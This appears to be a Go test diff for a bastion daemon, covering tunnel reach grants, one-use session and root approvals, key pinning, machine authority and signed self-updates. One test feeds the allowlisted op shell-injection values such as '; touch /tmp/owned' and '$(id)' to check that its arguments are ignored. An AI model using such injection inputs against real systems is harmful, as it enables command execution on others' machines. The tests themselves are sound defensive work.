||||
}
|
||||
priv := setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
grantMemberCaps(t, priv, "observe")
|
||||
|
||||
f := stubServiceRuntime(t, "docker")
|
||||
if b, code := runService(forgeSpec("forge")); code != 0 {
|
||||
t.Fatalf("up: %s", b)
|
||||
}
|
||||
f.running["privatae-svc-forge"] = true
|
||||
rec, err := loadServiceRecord("forge")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// The data dir's path is longer than a unix socket address may be, so the
|
||||
// server's socket is bound at a short path and moved into place: the
|
||||
// forward reaches it by inode through /proc (service_sock_linux.go), which
|
||||
// is exactly the path it takes on a real machine.
|
||||
data, _ := serviceDataDir("forge")
|
||||
short, err := os.MkdirTemp("", "svc")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.RemoveAll(short) })
|
||||
server := newUpstream(t, "unix", filepath.Join(short, "s"))
|
||||
if err := os.Rename(filepath.Join(short, "s"), filepath.Join(data, "gitea.sock")); err != nil {
|
||||
t.Skipf("cannot move the socket into the data dir here: %v", err)
|
||||
}
|
||||
|
||||
// The reach grant, signed and on disk the way service_grant_sync leaves it.
|
||||
dir := t.TempDir()
|
||||
_, rpriv, _ := ed25519.GenerateKey(nil)
|
||||
tc, sig := signedTerms(t, rpriv, reachTermsFor(tMember, "forge", 30))
|
||||
withReach := &dcnGrantFile{VerifyPubkey: base64.StdEncoding.EncodeToString(rpriv.Public().(ed25519.PublicKey)),
|
||||
Stores: map[string]dcnGrantRec{}, Reach: map[string]dcnGrantRec{"1": {TermsCanonical: tc, Signature: sig}}}
|
||||
noReach := &dcnGrantFile{VerifyPubkey: withReach.VerifyPubkey, Stores: map[string]dcnGrantRec{}, Reach: map[string]dcnGrantRec{}}
|
||||
if err := dcnSaveFile(dir, withReach); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
gw := netip.MustParseAddr("2001:db8::a:1")
|
||||
_, tnet, err := netstack.CreateNetTUN([]netip.Addr{gw}, nil, 1420)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
t.Cleanup(cancel)
|
||||
go serveServiceForwards(ctx, tMember, dir, tnet, gw)
|
||||
|
||||
// A reach grant, but no services family: refused.
|
||||
tunnelDial(t, tnet, gw, rec.TunnelPort)
|
||||
if server.reached(300 * time.Millisecond) {
|
||||
t.Fatal("a pairing without the services family reached the server, reach grant or not")
|
||||
}
|
||||
// The family, but no reach grant for this server: refused.
|
||||
grantMemberCaps(t, priv, "observe", "services")
|
||||
if err := dcnSaveFile(dir, noReach); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tunnelDial(t, tnet, gw, rec.TunnelPort)
|
||||
if server.reached(300 * time.Millisecond) {
|
||||
t.Fatal("a pairing with no reach grant for this server reached it")
|
||||
}
|
||||
// Both: the connection goes through to the server's socket.
|
||||
if err := dcnSaveFile(dir, withReach); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tunnelDial(t, tnet, gw, rec.TunnelPort)
|
||||
if !server.reached(3 * time.Second) {
|
||||
t.Fatal("with the family and a reach grant the connection must reach the server")
|
||||
}
|
||||
}
|
||||
|
||||
// ── the session lane, through handleSessionConn ────────────────────────────
|
||||
|
||||
// openSession opens one session through the handler and returns what came
|
||||
// back: the fake shell echoes "Iping" as O "ping" when the session opened. It
|
||||
// returns only after the handler has finished, so nothing the session writes
|
||||
// (its transcript, its audit line) lands after the test's dirs are removed.
|
||||
func openSession(t *testing.T, env sessionEnv, self string, spec sessionSpec) map[byte][]byte {
|
||||
t.Helper()
|
||||
done := make(chan struct{})
|
||||
up := websocket.Upgrader{}
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
defer close(done)
|
||||
c, err := up.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer c.Close()
|
||||
_, first, err := c.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
handleSessionConn(c, first, self, env)
|
||||
}))
|
||||
defer srv.Close()
|
||||
ws, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
sendSpec(t, ws, spec)
|
||||
_ = ws.WriteMessage(websocket.BinaryMessage, []byte("Iping"))
|
||||
_ = ws.SetReadDeadline(time.Now().Add(3 * time.Second))
|
||||
got := map[byte][]byte{}
|
||||
for {
|
||||
_, data, err := ws.ReadMessage()
|
||||
if err != nil || len(data) == 0 {
|
||||
break
|
||||
}
|
||||
got[data[0]] = append(got[data[0]], data[1:]...)
|
||||
if data[0] == 'X' || (data[0] == 'O' && strings.Contains(string(got['O']), "ping")) {
|
||||
break
|
||||
}
|
||||
}
|
||||
// The host hanging up ends an open session; wait for the handler to
|
||||
// write its last line and return.
|
||||
_ = ws.Close()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("the session handler did not finish after the host hung up")
|
||||
}
|
||||
return got
|
||||
}
|
||||
|
||||
func opened(got map[byte][]byte) bool { return strings.Contains(string(got['O']), "ping") }
|
||||
|
||||
func refusedWith(got map[byte][]byte, words string) bool {
|
||||
return string(got['X']) == "126" && len(got['O']) == 0 && strings.Contains(string(got['E']), words)
|
||||
}
|
||||
|
||||
// withSessionRoot makes the daemon read as root, or not, for the session
|
||||
// lane's root wall only.
|
||||
func withSessionRoot(t *testing.T, root bool) {
|
||||
t.Helper()
|
||||
old := sessionDaemonIsRoot
|
||||
sessionDaemonIsRoot = func() bool { return root }
|
||||
t.Cleanup(func() { sessionDaemonIsRoot = old })
|
||||
}
|
||||
|
||||
// consoleApproval issues a one-use approval on this machine for purpose,
|
||||
// with the factor enrolled here (the code a person types at the console).
|
||||
func consoleApproval(t *testing.T, dcn, purpose string) string {
|
||||
t.Helper()
|
||||
raw, _ := b32decode(tSecret)
|
||||
code := hotp(raw, time.Now().Unix()/stepupPeriod)
|
||||
id, err := stepupIssueApproval(dcn, code, purpose)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
// A terminal: on an anchored machine a host other than the anchor needs the
|
||||
// `session` family in its pairing grant. The handler refuses it before any
|
||||
// approval is looked at, and the approval it carried is still good after.
|
||||
func TestAMemberWithoutTheSessionFamilyGetsNoTerminal(t *testing.T) {
|
||||
priv := setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
grantMemberCaps(t, priv, "observe")
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
|
||||
env.HostName = tMember
|
||||
withFake(t)
|
||||
pub, _ := deviceInit()
|
||||
_ = pinDeviceKey(pub)
|
||||
approval, err := deviceSign(mgmtOpPurpose(sessionOpOpen, env.Server, []string{"sess-member-1"}), time.Minute)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := openSession(t, env, tMember, sessionSpec{Op: sessionOpOpen, SessionID: "sess-member-1", Approval: approval})
|
||||
if !refusedWith(got, "family 'session', not in this pairing's caps") {
|
||||
t.Fatalf("a member without the session family must be refused by the family wall: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(env.CtxRoot, "sessions", "sess-member-1.log")); err == nil {
|
||||
t.Fatal("a refused terminal must leave no transcript")
|
||||
}
|
||||
grantMemberCaps(t, priv, "observe", "session")
|
||||
if got := openSession(t, env, tMember, sessionSpec{Op: sessionOpOpen, SessionID: "sess-member-1", Approval: approval}); !opened(got) {
|
||||
t.Fatalf("with the family granted the same approval must open the terminal: X=%q E=%q", got['X'], got['E'])
|
||||
}
|
||||
}
|
||||
|
||||
// On an anchored machine each terminal needs an approval bound to that one
|
||||
// session and used once.
|
||||
func TestAnAnchoredTerminalApprovalOpensOneSessionOnce(t *testing.T) {
|
||||
setupBox(t)
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
|
||||
env.HostName = tAnchor
|
||||
withFake(t)
|
||||
pub, _ := deviceInit()
|
||||
_ = pinDeviceKey(pub)
|
||||
approval, err := deviceSign(mgmtOpPurpose(sessionOpOpen, env.Server, []string{"sess-bound-A"}), time.Minute)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-B", Approval: approval}); !refusedWith(got, "purpose mismatch") {
|
||||
t.Fatalf("an approval for one session must not open another: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-A", Approval: approval}); !opened(got) {
|
||||
t.Fatalf("the approval must open the session it names: X=%q E=%q", got['X'], got['E'])
|
||||
}
|
||||
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-A", Approval: approval}); !refusedWith(got, "already used") {
|
||||
t.Fatalf("a spent approval must not open the session a second time: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
}
|
||||
|
||||
// A root terminal needs the bastion to run as root. Everything else in
|
||||
// order — the factor enrolled here and a code entered for this session — a
|
||||
// daemon that is not root refuses, and spends nothing: the same approval
|
||||
// opens the session once the daemon is root.
|
||||
func TestARootTerminalNeedsTheBastionToRunAsRoot(t *testing.T) {
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
|
||||
enrollFactor(t, env.DcnDir)
|
||||
withFake(t)
|
||||
p, _ := purposeForSessionRoot(env.Server, "sess-root-euid")
|
||||
approval := consoleApproval(t, env.DcnDir, p)
|
||||
|
||||
withSessionRoot(t, false)
|
||||
got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-euid", Approval: approval})
|
||||
if !refusedWith(got, "needs the bastion to run as root") {
|
||||
t.Fatalf("a root terminal on a daemon that is not root must be refused for that reason: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
withSessionRoot(t, true)
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-euid", Approval: approval}); !opened(got) {
|
||||
t.Fatalf("the same approval must open the root terminal on a root daemon: X=%q E=%q", got['X'], got['E'])
|
||||
}
|
||||
}
|
||||
|
||||
// An approval device cannot approve a root terminal, with or without a
|
||||
// factor enrolled here: root is approved with a code entered on this machine.
|
||||
func TestADeviceCannotApproveARootTerminal(t *testing.T) {
|
||||
withSessionRoot(t, true)
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
|
||||
withFake(t)
|
||||
uiTestConfigDir(t)
|
||||
pub, _ := deviceInit()
|
||||
_ = pinDeviceKey(pub)
|
||||
p, _ := purposeForSessionRoot(env.Server, "sess-root-dev1")
|
||||
dev, err := deviceSign(p, time.Minute)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-dev1", Approval: dev}); !refusedWith(got, "second factor enrolled on this machine") {
|
||||
t.Fatalf("with only a device pinned, root must be refused: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
enrollFactor(t, env.DcnDir)
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-dev1", Approval: dev}); !refusedWith(got, "not from a device") {
|
||||
t.Fatalf("with a factor enrolled, a device approval must still not open root: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
}
|
||||
|
||||
// A root approval opens the one session it was entered for, once.
|
||||
func TestARootApprovalOpensOneSessionOnce(t *testing.T) {
|
||||
withSessionRoot(t, true)
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
|
||||
enrollFactor(t, env.DcnDir)
|
||||
withFake(t)
|
||||
p, _ := purposeForSessionRoot(env.Server, "sess-root-one")
|
||||
approval := consoleApproval(t, env.DcnDir, p)
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-two", Approval: approval}); !refusedWith(got, "purpose mismatch") {
|
||||
t.Fatalf("a root approval must not open another session: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-one", Approval: approval}); !opened(got) {
|
||||
t.Fatalf("the root approval must open its own session: X=%q E=%q", got['X'], got['E'])
|
||||
}
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-one", Approval: approval}); !refusedWith(got, "already used") {
|
||||
t.Fatalf("a spent root approval must not open anything again: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
}
|
||||
|
||||
// Grants are verified here: the key a session frame offers is pinned by the
|
||||
// handler the first time, and a later frame offering another key is refused
|
||||
// with the pin kept.
|
||||
func TestTheSessionHandlerPinsTheOfferedKey(t *testing.T) {
|
||||
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
|
||||
env.DcnDir = t.TempDir() // no key pinned yet
|
||||
withFake(t)
|
||||
pub1, _, _ := ed25519.GenerateKey(nil)
|
||||
k1 := base64.StdEncoding.EncodeToString(pub1)
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpOpen, SessionID: "sess-pin-one", VerifyPubkey: k1}); !opened(got) {
|
||||
t.Fatalf("the first key offered must open and pin: X=%q E=%q", got['X'], got['E'])
|
||||
}
|
||||
if f, err := dcnLoadFile(env.DcnDir); err != nil || f.VerifyPubkey != k1 {
|
||||
t.Fatalf("the handler must pin the offered key: %v %+v", err, f)
|
||||
}
|
||||
pub2, _, _ := ed25519.GenerateKey(nil)
|
||||
k2 := base64.StdEncoding.EncodeToString(pub2)
|
||||
if got := openSession(t, env, "", sessionSpec{Op: sessionOpOpen, SessionID: "sess-pin-two", VerifyPubkey: k2}); !refusedWith(got, "mismatch") {
|
||||
t.Fatalf("a different key must be refused: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
|
||||
}
|
||||
if f, _ := dcnLoadFile(env.DcnDir); f.VerifyPubkey != k1 {
|
||||
t.Fatalf("a refused key must not replace the pin: %q", f.VerifyPubkey)
|
||||
}
|
||||
}
|
||||
|
||||
// ── root only where there is no one else to ask ────────────────────────────
|
||||
|
||||
func withMachineAuthority(t *testing.T, held bool) {
|
||||
t.Helper()
|
||||
old := machineAuthorityHeld
|
||||
machineAuthorityHeld = func() bool { return held }
|
||||
t.Cleanup(func() { machineAuthorityHeld = old })
|
||||
}
|
||||
|
||||
// Claiming ownership or the anchor, and turning a box networked, are
|
||||
// refused without machine authority and write nothing; with it, each gets
|
||||
// past that wall. Both halves run whatever euid the suite runs under.
|
||||
func TestMachineWideFactsNeedMachineAuthority(t *testing.T) {
|
||||
freshBox := func(t *testing.T) {
|
||||
t.Helper()
|
||||
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
|
||||
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
|
||||
}
|
||||
t.Run("claim-owner", func(t *testing.T) {
|
||||
freshBox(t)
|
||||
withMachineAuthority(t, false)
|
||||
if err := cmdClaimOwner("Acme IT"); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("claim-owner without machine authority must be refused: %v", err)
|
||||
}
|
||||
if currentOwnerClaim() != nil {
|
||||
t.Fatal("a refused claim-owner wrote a claim")
|
||||
}
|
||||
withMachineAuthority(t, true)
|
||||
if err := cmdClaimOwner("Acme IT"); err != nil {
|
||||
t.Fatalf("claim-owner with machine authority: %v", err)
|
||||
}
|
||||
if c := currentOwnerClaim(); c == nil || c.Owner != "Acme IT" {
|
||||
t.Fatalf("the claim was not written: %+v", c)
|
||||
}
|
||||
})
|
||||
t.Run("set-mode networked", func(t *testing.T) {
|
||||
freshBox(t)
|
||||
withMachineAuthority(t, false)
|
||||
if err := setBoxMode(modeNetworked); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("set-mode networked without machine authority must be refused: %v", err)
|
||||
}
|
||||
if boxMode() != modeLocal {
|
||||
t.Fatal("a refused set-mode changed the mode")
|
||||
}
|
||||
withMachineAuthority(t, true)
|
||||
if err := setBoxMode(modeNetworked); err != nil || boxMode() != modeNetworked {
|
||||
t.Fatalf("set-mode networked with machine authority: %v, mode %s", err, boxMode())
|
||||
}
|
||||
})
|
||||
t.Run("claim-anchor", func(t *testing.T) {
|
||||
freshBox(t)
|
||||
withMachineAuthority(t, true)
|
||||
if err := setBoxMode(modeNetworked); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
withMachineAuthority(t, false)
|
||||
if err := cmdClaimAnchor("", false, "Acme IT", ""); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("claim-anchor without machine authority must be refused: %v", err)
|
||||
}
|
||||
if currentAnchor() != nil || currentOwnerClaim() != nil {
|
||||
t.Fatal("a refused claim-anchor wrote an anchor or an owner claim")
|
||||
}
|
||||
if err := cmdRepinAnchor(); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("claim-anchor --repin without machine authority must be refused: %v", err)
|
||||
}
|
||||
withMachineAuthority(t, true)
|
||||
if err := cmdClaimAnchor("", false, "Acme IT", ""); err != nil {
|
||||
t.Fatalf("claim-anchor with machine authority: %v", err)
|
||||
}
|
||||
if a := currentAnchor(); a == nil || a.AnchorHost != tMember {
|
||||
t.Fatalf("the anchor was not written: %+v", a)
|
||||
}
|
||||
// --repin with machine authority gets past that wall and completes: on
|
||||
// this box it re-pins the anchor to the pairing that already holds it.
|
||||
if err := cmdRepinAnchor(); err != nil {
|
||||
t.Fatalf("claim-anchor --repin with machine authority: %v", err)
|
||||
}
|
||||
if a := currentAnchor(); a == nil || a.AnchorHost != tMember {
|
||||
t.Fatalf("--repin moved the anchor: %+v", a)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ── fixed argv ──────────────────────────────────────────────────────────────
|
||||
|
||||
// The allowlisted op ignores what the caller sends: the program it runs is
|
||||
// given no argument, whatever the job carries. The program is a stand-in on
|
||||
// a PATH the test owns, which writes down the argv it was given.
|
||||
func TestTheAllowlistedOpIgnoresTheCallersArguments(t *testing.T) {
|
||||
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
|
||||
bin := t.TempDir()
|
||||
record := filepath.Join(t.TempDir(), "argv")
|
||||
script := "#!/bin/sh\nprintf '%s\\n' \"$#\" \"$@\" > '" + record + "'\necho up 1 day\n"
|
||||
if err := os.WriteFile(filepath.Join(bin, "uptime"), []byte(script), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Setenv("PATH", bin)
|
||||
hostile := []string{"-p", "; touch /tmp/owned", "$(id)", "--help"}
|
||||
out, errOut, code := driveOp(t, tMember, "uptime", hostile)
|
||||
if code != 0 || !strings.Contains(out, "up 1 day") {
|
||||
t.Fatalf("uptime did not run the stand-in: %d %q %q", code, out, errOut)
|
||||
}
|
||||
got, err := os.ReadFile(record)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.TrimSpace(string(got)) != "0" {
|
||||
t.Fatalf("the allowlisted op passed arguments to its program: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── scoped tunnel, at pairing and at start ─────────────────────────────────
|
||||
|
||||
// A pairing response whose host_tunnel_ip is not one host's address is
|
||||
// refused, and no pairing is saved; the same response with a bare address
|
||||
// pairs. The redeem is served on loopback in place of the platform's ingress.
|
||||
func TestAPairingResponseWithAWideTunnelAddressSavesNothing(t *testing.T) {
|
||||
cfgHome := uiTestConfigDir(t)
|
||||
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
|
||||
hostIP := ""
|
||||
redeem := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"operator_crt": "CERT", "ca_crt": "CA", "bearer": "b", "endpoint": "203.0.113.7:51820",
|
||||
"endpoint_pubkey": testWGKey(t), "bastion_tunnel_ip": "2001:db8::a:1",
|
||||
"host_tunnel_ip": hostIP, "host_name": "acme.host.privatae.ai",
|
||||
})
|
||||
}))
|
||||
defer redeem.Close()
|
||||
old := redeemURLBase
|
||||
redeemURLBase = redeem.URL
|
||||
t.Cleanup(func() { redeemURLBase = old })
|
||||
token := "skb_" + base64.RawURLEncoding.EncodeToString([]byte("acme.secret"))
|
||||
|
||||
for _, bad := range []string{"2001:db8::e:3/64", "::/0", "2001:db8::e:3/128", "::"} {
|
||||
hostIP = bad
|
||||
if _, _, err := pairWithToken(token, false, false); err == nil || !strings.Contains(err.Error(), "not a single host address") {
|
||||
t.Fatalf("%q: the pairing must be refused for its tunnel address, got %v", bad, err)
|
||||
}
|
||||
// Nothing at all: not a pairing, not a grant file, not a key. The
|
||||
// walk covers what loadPairings would skip.
|
||||
_ = filepath.Walk(cfgHome, func(path string, fi os.FileInfo, err error) error {
|
||||
if err == nil && !fi.IsDir() {
|
||||
t.Errorf("%q: a refused pairing left a file behind: %s", bad, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
hostIP = "2001:db8::e:3"
|
||||
cfg, _, err := pairWithToken(token, false, false)
|
||||
if err != nil {
|
||||
t.Fatalf("a bare address must pair: %v", err)
|
||||
}
|
||||
if cfg.HostTunnelIP != "2001:db8::e:3" {
|
||||
t.Fatalf("saved %q", cfg.HostTunnelIP)
|
||||
}
|
||||
}
|
||||
|
||||
// A pairing file that already holds a wide address (written by an older
|
||||
// build, or by hand) brings no tunnel up: runPairing refuses before the
|
||||
// device is raised.
|
||||
func TestRunPairingRefusesAWideTunnelAddress(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
for _, bad := range []string{"2001:db8::e:3/64", "::/0"} {
|
||||
cfg := &Config{HostName: "acme.host.privatae.ai", WGPrivateKey: testWGKey(t), EndpointPubKey: testWGKey(t),
|
||||
Endpoint: "203.0.113.7:51820", BastionTunnelIP: "2001:db8::a:1", HostTunnelIP: bad}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
err := runPairing(ctx, cfg)
|
||||
cancel()
|
||||
if err == nil || !strings.Contains(err.Error(), "not a single host address") {
|
||||
t.Fatalf("%q: runPairing must refuse the tunnel address, got %v", bad, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
// Bastion updates (0.44.0): on an anchored box a move to a NEWER version needs
|
||||
// no approval, because the release signature is the approval for it. A move to
|
||||
// an older version, or to one this binary cannot compare with its own, still
|
||||
// needs the person's approval bound to that version. Tagged !windows for the
|
||||
// anchored-box fixture (setupBox, anchor_test.go).
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// updateBeat is a heartbeat response directing a self-update and carrying no
|
||||
// approval.
|
||||
func updateBeat(version string) []byte {
|
||||
return []byte(`{"update":{"version":"` + version + `"}}`)
|
||||
}
|
||||
|
||||
// A newer version reaches the signed manifest with no approval. The rest of the
|
||||
// gate still holds: a member's directive and the local switch both refuse it.
|
||||
func TestANewerSignedReleaseNeedsNoApproval(t *testing.T) {
|
||||
setupBox(t)
|
||||
freshVersionState(t)
|
||||
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
|
||||
clientVersion = "0.44.0"
|
||||
var fetches atomic.Int64
|
||||
man := httptest.NewServer(signedStub(releaseKindBastion, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fetches.Add(1)
|
||||
_, _ = w.Write([]byte(`{"version":"0.45.0","binaries":{}}`))
|
||||
})))
|
||||
defer man.Close()
|
||||
manifestURL = man.URL + "/version.json"
|
||||
|
||||
maybeSelfUpdate(tMember, "", updateBeat("0.45.0"))
|
||||
if fetches.Load() != 0 {
|
||||
t.Fatal("a member's directive must be refused before any fetch, newer version or not")
|
||||
}
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
|
||||
if fetches.Load() != 1 {
|
||||
t.Fatalf("the anchor's directive to a newer version must reach the signed manifest with no approval, got %d fetches", fetches.Load())
|
||||
}
|
||||
if r := directiveRefusalReport(); r != nil {
|
||||
t.Fatalf("the update passed, so the member's refusal is no longer reported: %v", r)
|
||||
}
|
||||
if err := localDenySet(tAnchor, localFamilyDirectives, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
|
||||
if fetches.Load() != 1 {
|
||||
t.Fatal("switched off here, a newer version must not fetch either")
|
||||
}
|
||||
}
|
||||
|
||||
// The host learns the rule from the box itself, on the enforcing report every
|
||||
// beat carries, so it never has to infer it from a version number. A build
|
||||
// that cannot read its own version gates every update, and says so.
|
||||
func TestTheBoxTellsTheHostAForwardUpdateNeedsNoApproval(t *testing.T) {
|
||||
setupBox(t)
|
||||
freshVersionState(t)
|
||||
clientVersion = "0.44.0"
|
||||
if v, _ := buildEnforcingReport("", nil)["update_forward_needs_no_approval"].(bool); !v {
|
||||
t.Fatal("the enforcing report must say a forward update needs no approval")
|
||||
}
|
||||
for _, own := range []string{"dev", "0.44.0-rc1", ""} {
|
||||
clientVersion = own
|
||||
if v, _ := buildEnforcingReport("", nil)["update_forward_needs_no_approval"].(bool); v {
|
||||
t.Fatalf("a build running %q can compare nothing, so it must not say so", own)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Older, unstamped and suffixed versions are refused without an approval, and
|
||||
// the host is told an approval is what is missing. With one, an older version
|
||||
// proceeds.
|
||||
func TestAnOlderOrUncomparableVersionStillNeedsAnApproval(t *testing.T) {
|
||||
setupBox(t)
|
||||
freshVersionState(t)
|
||||
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
|
||||
var fetches atomic.Int64
|
||||
man := httptest.NewServer(signedStub(releaseKindBastion, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fetches.Add(1)
|
||||
_, _ = w.Write([]byte(`{"version":"0.43.1","binaries":{}}`))
|
||||
})))
|
||||
defer man.Close()
|
||||
manifestURL = man.URL + "/version.json"
|
||||
|
||||
cases := []struct{ running, target string }{
|
||||
{"0.44.0", "0.43.1"}, // older
|
||||
{"0.44.0", "0.9.0"}, // older, and above 0.44.0 as a string
|
||||
{"0.44.0", "0.44"}, // the running release, spelled shorter
|
||||
{"dev", "0.45.0"}, // an unstamped build cannot say what is newer
|
||||
{"0.44.0", "0.45.0-rc1"}, // nor can a suffixed target
|
||||
}
|
||||
for _, c := range cases {
|
||||
clientVersion = c.running
|
||||
clearDirectiveRefusal("self-update")
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat(c.target))
|
||||
if fetches.Load() != 0 {
|
||||
t.Fatalf("%s on a box running %s, with no approval, must be refused before any fetch", c.target, c.running)
|
||||
}
|
||||
if r := directiveRefusalReport(); r == nil || !strings.Contains(fmt.Sprint(r), "approval") {
|
||||
t.Fatalf("%s on a box running %s: the host must be told an approval is missing: %v", c.target, c.running, r)
|
||||
}
|
||||
}
|
||||
clientVersion = "0.44.0"
|
||||
maybeSelfUpdate(tAnchor, "", testDirective(t, directiveSelfUpdate, []string{"0.43.1"}, string(updateBeat("0.43.1"))))
|
||||
if fetches.Load() != 1 {
|
||||
t.Fatal("approved, a move to an older version proceeds")
|
||||
}
|
||||
}
|
||||
|
||||
// Without an approval, the only thing that installs is a newer SIGNED release
|
||||
// that is exactly the target. A signed manifest for another version (an old one
|
||||
// served again by a download server, say) is not downloaded, and neither is an
|
||||
// unsigned manifest for the target itself. The binary's digest never matches
|
||||
// the payload here, so even a broken gate could not swap the test binary.
|
||||
func TestTheForwardPathInstallsNothingButTheSignedTarget(t *testing.T) {
|
||||
setupBox(t)
|
||||
freshVersionState(t)
|
||||
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
|
||||
clientVersion = "0.44.0"
|
||||
key := runtime.GOOS + "-" + runtime.GOARCH
|
||||
elsewhere := sha256.Sum256([]byte("some other build"))
|
||||
var served atomic.Value
|
||||
var downloads atomic.Int64
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/version.json", func(w http.ResponseWriter, r *http.Request) {
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"version": served.Load().(string),
|
||||
"binaries": map[string]any{key: map[string]any{
|
||||
"url": "http://" + r.Host + "/dl", "sha256": hex.EncodeToString(elsewhere[:])}},
|
||||
})
|
||||
})
|
||||
mux.HandleFunc("/dl", func(w http.ResponseWriter, r *http.Request) {
|
||||
downloads.Add(1)
|
||||
_, _ = w.Write([]byte("not the bastion"))
|
||||
})
|
||||
signed := httptest.NewServer(signedStub(releaseKindBastion, mux))
|
||||
defer signed.Close()
|
||||
unsigned := httptest.NewServer(mux)
|
||||
defer unsigned.Close()
|
||||
|
||||
manifestURL = signed.URL + "/version.json"
|
||||
served.Store("0.43.1")
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
|
